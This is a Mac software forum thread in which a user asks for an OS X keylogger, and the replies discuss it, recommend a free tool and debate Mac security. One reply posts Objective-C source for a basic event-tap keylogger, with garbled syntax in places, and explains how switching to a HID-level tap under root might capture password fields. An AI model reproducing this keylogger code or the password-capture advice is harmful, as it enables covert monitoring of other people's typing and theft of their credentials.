Keylogger for Mac OS X

Posted:
in Mac Software edited September 2014
Do any of you know of any keyloggers for X?



I know there are many of these for Windows but I've done some searches on the web and have found none.



I really need this to keep track of what I type.





Thanks

Comments

  • Reply 1 of 11
    Ahhhhh Girlfriend cheatin' on ya pal
  • Reply 2 of 11
    [quote]Originally posted by hmurchison:

    <strong>Ahhhhh Girlfriend cheatin' on ya pal </strong><hr></blockquote>



    What??!!



    How would you know?!



    What makes you think so?





    Anyway, I'm still searching for a keylogger.
  • Reply 3 of 11
    grahamwgrahamw Posts: 575member
    User with over 700 posts asks for software. User with a single post posts what could be considered spam. Hrmmm. Tough call.



    I'm going to let this one fly as it answers the question directly. Carry on.



    Edit: ooh, 300th post. How Spartan.
  • Reply 4 of 11
    hmurchisonhmurchison Posts: 12,425member
    Quote:
    Originally Posted by grahamw View Post


    User with over 700 posts asks for software. User with a single post posts what could be considered spam. Hrmmm. Tough call.



    I'm going to let this one fly as it answers the question directly. Carry on.



    Edit: ooh, 300th post. How Spartan.





    Nice.





    "This is .....SPARTA!!!"
  • Reply 5 of 11
    jbljbl Posts: 555member
    Quote:
    Originally Posted by stevegongrui View Post


    Anyway, I'm still searching for a keylogger.



    Would you care to tell us why you want a keylogger? It is pretty easy to write a basic one. Here is a code snippet that pretty much covers what you need to do.



    Code:




    #import "Events.h"





    CGEventRef myCGEventCallback(CGEventTapProxy proxy, CGEventType type,

    CGEventRef event, void *refcon)

    {

    CGPoint location;

    UniChar unicodeString[10];

    UniCharCount actualStringLength;



    switch(type){

    case kCGEventKeyDowntCGEventKeyboardGetUnicodeStrin g(event, sizeof(unicodeString) / sizeof(*unicodeString), &actualStringLength, unicodeString);

    NSLog([NSString stringWithFormat: @"%C\

    ", unicodeString[0]]);

    break;



    case kCGEventLeftMouseDowntlocation = CGEventGetLocation(event);

    NSLog([NSString stringWithFormat:@"leftClick\%4.0f, %4.0f\

    ", location.x, location.y]]);

    break;



    case kCGEventRightMouseDowntlocation = CGEventGetLocation(event);

    NSLog([NSString stringWithFormat:@"rightClick\%4.0f, %4.0f\

    ", location.x, location.y]]);

    break;

    }

    // We must return the event for it to be useful.

    return event;

    }







    @implementation myKeyLogger





    - (void) applicationDidFinishLaunchingNSNotification*)not ification

    {



    CFMachPortRef eventTap;

    CGEventMask eventMask;

    CFRunLoopSourceRef runLoopSource;



    eventMask = CGEventMaskBit(kCGEventLeftMouseDown) |

    CGEventMaskBit(kCGEventRightMouseDown) |

    CGEventMaskBit(kCGEventKeyDown);







    eventTap = CGEventTapCreate(

    kCGSessionEventTap, kCGHeadInsertEventTap,

    0, eventMask, myCGEventCallback, self);

    if (!eventTap) {

    NSLog(@"failed to create event tap\

    ");

    }



    // Create a run loop source.

    runLoopSource = CFMachPortCreateRunLoopSource(

    kCFAllocatorDefault, eventTap, 0);



    CFRelease(eventTap);

    // Add to the current run loop.

    CFRunLoopAddSource([[NSRunLoop currentRunLoop] getCFRunLoop], runLoopSource, kCFRunLoopCommonModes);





    CFRelease(runLoopSource);



    }

    @end









    Note that for this to work you have to enable access for assistive devices on the universal access preference panel of the account you are logging. Now if your goal is to have it run in the background so that no one will notice it, I can't help you. This version also doesn't seem to pick up passwords (anything typed in one of those text boxes that only show up as bullets). You might be able to capture those if you changed the kCGSessionEventTap to kCGHIDEventTap but then you would have to run your application with root privileges. I think Apple has done a very good job of making these things easy to write yet making them hard to install in a way that would compromise your system.
  • Reply 6 of 11
    frank777frank777 Posts: 5,839member
    If I can completely reverse the topic (since the question's been answered), what programs on the Mac detect this type of spyware?



    We've been safe from the virus thing for a long time, but I remember when the platform had it's share of virus threats. With the Mac's rise in sales, viruses and spyware will become a bigger problem in years to come.
  • Reply 7 of 11
    mr. memr. me Posts: 3,221member
    Quote:
    Originally Posted by Frank777 View Post


    ... With the Mac's rise in sales, viruses and spyware will become a bigger problem in years to come.



    No, they won't.
  • Reply 8 of 11
    tontontonton Posts: 14,067
    Quote:
    Originally Posted by Mr. Me View Post


    No, they won't.



    I agree, at least in the case of viruses. The idea that the reason there are no viruses for OS X is because of market share is idiotic.



    l33t hax0rs and virus writers do what they do for the notoriety, as much as for anything else. What do you think would make a hacker more famous? Writing the FIRST effective virus for OS X, or writing the 42,359th virus for Windows?



    The "market share" excuse is a sad attempt to obfuscate the fact that the reason there are no viruses or worms, very few trojans and little spyware for OS X is because OS X is simply more secure.
  • Reply 9 of 11
    Nice code JBL. If someone's looking for a ready to go binary with a little bit more capability, there's logKext for free. I've just been investigating OS X keyloggers in some depth myself.



    Has anyone been using JBL's solution? Does it still work in Snow Leopard?
  • Reply 10 of 11
    tallest skiltallest skil Posts: 43,388member
    Quote:
    Originally Posted by Nancycy View Post


    Anyone who can help me to bypass a keylogger on a Mac Leopard? It is a commercial Mac keylogger used by my dad to keep eye on my computer use.



    1. TWO. THOUSAND. THREE.

    2. NO. We're NOT going to help you circumvent your parents' commands, you fool.

    3. For heaven's sake, we're not about to help you do something illegal.

    4. They're doing it for a reason. You've completely and utterly missed that reason.
  • Reply 11 of 11
    nvidia2008nvidia2008 Posts: 9,262member
    Quote:
    Originally Posted by Nancycy View Post


    Anyone who can help me to bypass a keylogger on a Mac Leopard? It is a commercial Mac keylogger used by my dad to keep eye on my computer use.



    Curious, what is it called?
This discussion has been closed.